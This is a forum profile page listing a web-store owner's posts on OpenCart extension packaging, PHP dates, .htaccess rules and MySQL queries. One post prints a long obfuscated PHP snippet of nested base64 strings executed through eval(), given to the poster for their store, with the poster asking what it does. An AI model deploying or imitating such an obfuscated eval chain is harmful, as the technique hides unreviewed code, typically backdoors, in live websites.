Jump to content

blmg2009

Members
  • Content count

    61
  • Joined

  • Last visited

Community Reputation

0 Neutral

About blmg2009

  • Rank
    Regular Member
  1. Hello, I've just started to use 2.1.0.2 and I'm trying to convert over some of my own extensions I built for my 1.5.6.4 store. I have started with a fresh install of 2.1.0.2 and I built a very basic extension, I'm wanting to move over to the extension installer to install my future additions to my store instead of using vqmod. I have made my testerextension.ocmod.zip, inside this is: install.xml /upload/ /admin/ /catalog/ However when I use the installer to upload testerextension.ocmod.zip I'm getting the following error: Directory containing files to be uploaded could not be found I have tracked this down to the ftp() class as I can see this error can be trigged in another class. I've also looked into the storage temp folder to find a folder unzipped called: testerextension.ocmod NOT upload. To rule out if there was an issue with OC system I have uploaded another extension from the extension store with the similar directory structure and similar ocmod.zip name only for it to correctly install. Therefore i'm unsure as to why this would be happening, I understand the system is looking for the upload folder in the temp folder but it's not there as it's one level deeper in the testerextension.ocmod - but as you can see from the directory structure above this shouldn't be happening. Does anyone have any idea where I could be going wrong?
  2. Hi, I'm fairly new to PHP and I do struggle with the PHP time functions and the aspect of working with dates. I'm needing to create a between two dates variables for myself to use in MYSQL. Since i'm creating a feature that allows the viewer to select a day during the week to run a cron job. Let say it's Saturday. I need to work out from the time the script is run (THE FROM DATE) what the (TO DATE) will be, which I'm wanting the (TO DATE) to be the Monday at 00:01 at the start of that week. However this is proving quite difficult to perform simply without writing long pieces of code. Is there a simple way of doing this?
  3. Thank everyone for you input. Unfortunately it has been paid for, fortunately it was an opencart extensive that wasn't very expensive. Why is this so bad? Is there any topics or resource you could recommend that I read to understand how to create better SQL queries? I'm new to SQL and I'm willing to learn what ever I need to, to make sure that all future SQL queries I make do not include such practices.
  4. Right that makes sense, the sever we use is a dedicated server so I was shocked to see the error. I will contact the vendor to state he should use joins not sub queries. What does he mean by What is this and what affect does it have?
  5. I'm currently using a external module from an opencart vendor on my opencart store, however I keep getting a error stating mysql has gone away. Thinking this might be an issue with the mysql wait time setting I contacted my server support team and asked them to investigate, below is there answer. I'm struggling to understand exactly why the query is so badly designed as stated below, any advice on the subject would be greatly appreciated
  6. After decoding it I finally found what it was, however what type of practice is there anywhere that I could learn more about it. It has really interested me.
  7. Hi, I have the following code on one of my stores and I have been supplied a code which is below with base 64 code; However before running the code I would like to understand what is it doing. What changes will it make. Is there any way of outputting the actual PHP it is eval() -ing $GBAY = 'ICR0WGtFID0gJ0lDUjNVVTFhSUQwZ0owbERVakJqVldoWVNVUXdaMG93YkVSVmJGWlRWMFp3Y2xOVlVYZGFNRzkzWWtWU1ZtSkhlRlpaYTFwYVRWWk9WbFZZWkdGTlJ6a3pXV3RXVTFadFNuSk9XRVpWVmpOb2FGUnNXbmRUUlRGWFdrZDRWMVl6YUVkV1JsWnJZVEZOZDAxSWJGWlhTRUpvVlRCa2VtVkdiRmhOVms1WVVteHdNRmxWWkhOaFZscHlZMGhvVjAxV2NIWldSRXBMVW0xV1NWVnNWbWxpU0VKUFYxY3hORmxYVmxkVWJsWnFVMGhDYUZSVmFFTlRWbkJXV2tSU2FWSnJOVWhWTWpWUFYyMUtWVlpzUWxwTlIxSkxXbFpWTVZOR2NFZFNiRnBPVWxadmVGWnFSbUZoTVZWM1RWaE9ZVTB5ZUZaWlYzUmhZMVpTVlZKcmRFNWlSM2g2VjJ0YWEySkdXWGRPUkVaWVYwaENjbFV5ZUVabFJrNTFZMFpvYVZJeWFESldSbFpoWkRGa1JrNVdiR3BTTW1oWVdsY3hNMlZHV1hkVmEzQk9WakJhU1ZVeWVHOVdNVmw1Vld4S1YxWkZTa2hhUmxwWFZqRmFjMVJzWkU1U00yaElWbXRrZDFJeVJuSk5TR2hVWVd0d1lWbHJaRk5YUm5CWFdrVTVUMVpyV25wV1J6RkhWMFpLVm1JemJGaFdSV3Q0VmxjeFMyTnJPVlZXYkVwWFRURktkMVpYY0V0T1IwNVhXa2hPV21WclduTlphMmhEVmxaV1YxVnVUbFJpUlZZMVZsZDBjMVp0U2xsUmEyaFhZbGhPTkZSc1ZYaFdNVVp5VGxaT2FHVnJWWG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V2Frb3dZVEpOZDAxWVRsSmlhMHBoV2xjeFUxTXhWWGRWYTA1cFlUTkJNbGw2U2pCV2F6RlhWbTAxVmxKck5VTlpiWFIzVTFaT2MxRnRhR2hXVlZVeFZURldhMU15UmtoVVdHeFhWa1Z3VUZWdGNITmpiR1J6V2tVNWEySklRa2xXYkdNMVV6RktkR0ZHUWxkaVIyaDVXVEJWTlU1V1JuUmxSM1JwVmxad05sVjZRazlWTWxaWFZWaHNhVTB3U2xGYVZtUk9UVEZrYzJGSFJtaFNNSEJGVjJwS01GWnJNVmRXYm1SVlRUSk5OVlZHVG1wT01IQkdUVlZTU2xKRVFtNVRibXhUWTBaSmVWVlhaRkZWTUVwd1YxWm9UMkpGTlhGVmJWcGhVakZhY1ZscVNsTmlSWFJFVld4V1UxZEdjSEpUTVZKNldqRndXVmR0YUdsUk1tUnlXVlpXYTJFd2RGVmpNalZRVFd4WmVWZFdaRE5pTUhCR1RWVlNURlpJVFRsS2VuTnJZMjFqWjFCVFFXNUtSWGhyV1hsQk9VbEhTbWhqTWxVeVRrWTVhMXBYVG5aYVIxVnZTa2hTZUZOR1kzQlBlVUpzWkcxR2MwdERVazFhUjAxd1QzbGpOMXBZV21oaVEyZHJZMjFqY0U5M1BUMG5PeVJ5VFNBOUlDY2tWMHBhSUQwZ1ltRnpaVFkwWDJSbFkyOWtaU2drZDFGTldpazdJR1YyWVd3b0pGZEtXaWs3Snp0bGRtRnNLQ1J5VFNrNyc7JHZPID0gJyRhRUMgPSBiYXNlNjRfZGVjb2RlKCR0WGtFKTsgZXZhbCgkYUVDKTsnO2V2YWwoJHZPKTs=';$xm = '$BPk = base64_decode($GBAY); eval($BPk);'; eval($xm); I'm also wishing to learn more about this type of code and how I could use it myself, I believe it's like inception or something it has amazed me.
  8. Hi there, I'm fairly new to sever management and apache. I'm having issues with curl requests on my website and i'm been told to: However even with searching online I can see how to add the exceptions for pages ending in certain file types and not for the exception mentioned above. Here is my HTACCESS FILE: # STARTNITRO RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}] ExpiresActive On #CSS JS XML TXT - 1 WEEK <FilesMatch "\.(xml|txt|css|js)$"> Header set Cache-Control "max-age=604800, public" ExpiresDefault "access plus 1 week" </FilesMatch> #JPG JPEG PNG GIF SWF SVG - 1 MONTH <FilesMatch "\.(jpg|jpeg|png|gif|swf|svg|JPG|JPEG|PNG|GIF|SWF|SVG)$"> Header set Cache-Control "max-age=2678400, public" ExpiresDefault "access plus 1 month" Header set Last-Modified "Wed, 05 Jun 2009 06:40:46 GMT" </FilesMatch> #OTF WOFF TTF ICO PDF FLV - 1 MONTH <FilesMatch "\.(otf|ico|pdf|flv|woff|ttf)$"> Header set Cache-Control "max-age=2678400, public" ExpiresDefault "access plus 1 month" </FilesMatch> # ENDNITRO # STARTCOMPRESSNITRO RewriteEngine On RewriteCond %{SCRIPT_FILENAME} !-d RewriteRule ^(\/?((catalog)|(assets)).+)\.css$ assets/style.php?l=4&p=$1&c=604800 [NC,L] RewriteCond %{SCRIPT_FILENAME} !-d RewriteRule ^(\/?((catalog)|(assets)).+)\.js$ assets/script.php?l=4&p=$1&c=604800 [NC,L] AddType image/svg+xml .svg AddOutputFilterByType DEFLATE image/svg+xml # ENDCOMPRESSNITRO RewriteEngine On RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R,L] # SEO URL Settings RewriteEngine On RewriteBase / RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L] RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css) RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA] I would really appreciate if someone could walk me through the code to modified to an the above exceptions. I believe it would be the following code I would need to edit: RewriteEngine On RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R,L] But like I mentioned i'm not entirely sure.
  9. SELECT count(*) as accepted_in_2015 FROM team_players as tp LEFT JOIN teams_info as ti ON (ti.team_id = tp.team_id AND ti.entry_year = 2015) LEFT JOIN members as m ON (m.members_id = tp.members_id AND m.status = 1) The AND m.status = 1 is incorrect here as the status = 1 is in the team_players table. I have tried to change this too tp.status = 1; However it seems that isn't the correct way of doing this and throws an error. I assuming that this is because the tp alias will not work in the members ON(). Would I use WHERE status = 1 at the end of the mysql?
  10. This is amazing, a great walk through for a newbie; Thank you very much for taking the time to help me out I will go away and study what each of sections do in more details.
  11. Thank you for your explanation I have been reading upon the information you provided and it seems to make a lot more sense too me
  12. I have three tables in my database listed below: Table: teams_info team_id team_name entry_year status 1 team 1 2015 1 2 team 2 2015 1 3 team 2 2016 1 Table: team_players player_id team_id status members_id position 1 1 0 1 1 2 1 1 2 2 3 1 1 3 3 4 1 1 4 4 5 2 0 5 1 6 2 0 6 2 7 2 1 7 3 Table: members members_id first_name surname gender 1 joe blogg male 2 james smith male 3 sarah marshall female 4 tony walker male 5 peter jones male 6 jessica varley female 7 jane varley female I'm trying to get my head around how I would get the following information, 1) How many team_players from team_info.entry_year = 2015 have accepted the to join a team (this will be all players with status = 1) 2) How many team_players from team_info.entry_year = 2015 have been invited (basically counting all records that belong to 2015 teams) 3) The total Males players from 2015 teams. 4) The total female players from 2015 teams. i'm fairly new to SQL and it seems I have made things complicated whilst trying to follow the best standards, however I can not wrap my head around where to start. Any help would be greatly appreciated.
  13. blmg2009

    Error when using mysql sub query

    Thank you very much;
  14. blmg2009

    Error when using mysql sub query

    Thank you for your response; Although I'm not only getting 1 results as if it has grouped it all up; I have three tables team_details team_players members I'm trying to get the NAP which is the 'Number of Accepted Players' which is team_player.status = 1 The first time I executed my MYSQL in got the full list on teams, their managers name, team name etc. But I need to find how many team players have accepted to join their team. I thought that the count(*) all team_players that status = 1 for that team_id would provide me this; However it seems I have done this wrong as it's now grouped everything into 1 result.
  15. blmg2009

    Error when using mysql sub query

    Infact I have added to the first select and now it is showing the NAP
×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.